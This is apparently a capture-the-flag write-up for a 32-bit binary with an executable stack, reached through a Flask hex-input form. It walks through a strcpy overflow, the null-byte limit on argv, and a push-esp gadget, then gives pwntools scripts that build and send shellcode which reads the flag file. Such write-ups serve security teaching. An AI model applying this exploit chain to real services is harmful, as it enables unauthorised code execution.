asr
An executable stack, an argv-only interface behind a Flask wrapper, and one gadget that turns `esp` into a valid shellcode address.
The same challenge as a plain shellcode runner, except the input arrives as a
hex string through a Flask form and gets passed as argv[1]. That constraint does
more work than it looks: argv is a C string, so a null byte truncates the
payload before the binary ever runs.
| property | value |
|---|---|
| arch | i386-32-little |
| RELRO | Partial |
| canary | none |
| NX | GNU_STACK missing — stack executable |
| PIE | no (base 0x8048000) |
| segments | has RWX |
Executable stack, no canary, no PIE. Shellcode on the stack is the intended path, and the only unknown is where the stack is.
The overflow
8049251: push DWORD PTR [ebp+0x8] // argv[1]
804925a: lea eax,[ebp-0x10c] // 268-byte buffer
804925b: call strcpy@plt // no bounds check
804928f: mov ebx,DWORD PTR [ebp-0x4]
8049292: leave
8049293: ret
strcpy into a 268-byte buffer with no length check. Saved return address is at
buffer + 272 — 268 bytes of buffer, 4 bytes of saved ebp, then the return slot.
subprocess.run([chall, decoded_bytes]), and argv is a C string. Any \x00 in the payload truncates it, usually mid-address. Every address we send has to be null-free, which rules out p32(0x0804xxxx) — the leading null kills it.
Why a plain ret2stack fails
The obvious payload puts a gadget-free absolute address in the return slot. We do
not have one: ASLR randomises the stack per execution, and there is no leak
primitive here — the program only reads argv, prints it back, and exits.
So the payload cannot contain the address of its own shellcode. What it can contain is a fixed address in the binary that computes that address at runtime. ropper finds one:
0x080490d7: push esp; mov ebx, dword ptr [esp]; ret;
Walking it:
retinto0x080490d7pops our return slot, soespnow points just past it — at the first byte of shellcode.push espstores that address on the stack.mov ebx, [esp]loads it intoebx— now a register holds the live shellcode address.retpops it back. Execution jumps to the shellcode.
No leak, no guessing. The gadget manufactures the address from esp, which is the
one thing that is always correct at runtime.
The crash without it is informative:
EBP 0x61616161 ('aaaa')
ESP 0xffffd24c ◂— 0x6768746a ('jthg')
EIP 0x8049293 (processData+90) ◂— ret
► 0x8049293 ret <0x6768746a>
It tried to execute 0x6768746a — the first four bytes of our shellcode read as an
address. With the gadget, the same slot is a valid code pointer:
0x80490dc <_start+44> ret <0xffffd240>
↓
0xffffd240 push 0x74
0xffffd242 push 0x78742e67
0xffffd247 push 0x616c662f // "/flag.tx" + "t"
Building the shellcode
Two constraints: i386, and null-free. shellcraft helps, and an assert catches the
mistake before it reaches the server:
from pwn import *
context.arch = 'i386'
shellcode = asm(shellcraft.i386.linux.cat('/flag.txt'))
assert b'\x00' not in shellcode, "Shellcode contains null bytes!"
gadget = 0x080490d7 # push esp; mov ebx, [esp]; ret
payload = b'\x90' * 272 + p32(gadget) + shellcode
print(payload.hex())
0x080490d7 packs as \xd7\x90\x04\x08 — no nulls, which is why the gadget is
usable as a return address at all. A gadget at, say, 0x08040011 would not be.
For the remote, the hex goes into the form field:
import requests
URL = "http://<host>:<port>/"
r = requests.post(URL, data={'hex_value': payload.hex()})
if "Stdout" in r.text:
start = r.text.find("Stdout")
end = r.text.find("</pre>", start)
print(r.text[start:end])
The Flask app runs the binary with a 5-second subprocess.run and renders stdout,
so the flag comes back in the HTML.
Verifying locally
Same payload, different target file, to prove the chain works before pointing it at the service:
from pwn import *
context.arch = 'i386'
context.log_level = 'error'
sc = asm(shellcraft.i386.linux.cat('/tmp/proof.txt'))
assert b'\x00' not in sc
payload = b'A' * 272 + p32(0x080490d7) + sc
io = process(['./chall', payload])
out = io.recvall(timeout=4)
print(b'MARKER-OK' in out)
Output, with the marker read from the file:
Processing data...
Data processed: AAAAA...[272 bytes]...
Failed to open log file.
MARKER-OK
The Failed to open log file. line is from logMessage and is harmless — it runs
after strcpy but before the return, so it does not interfere with the pivot.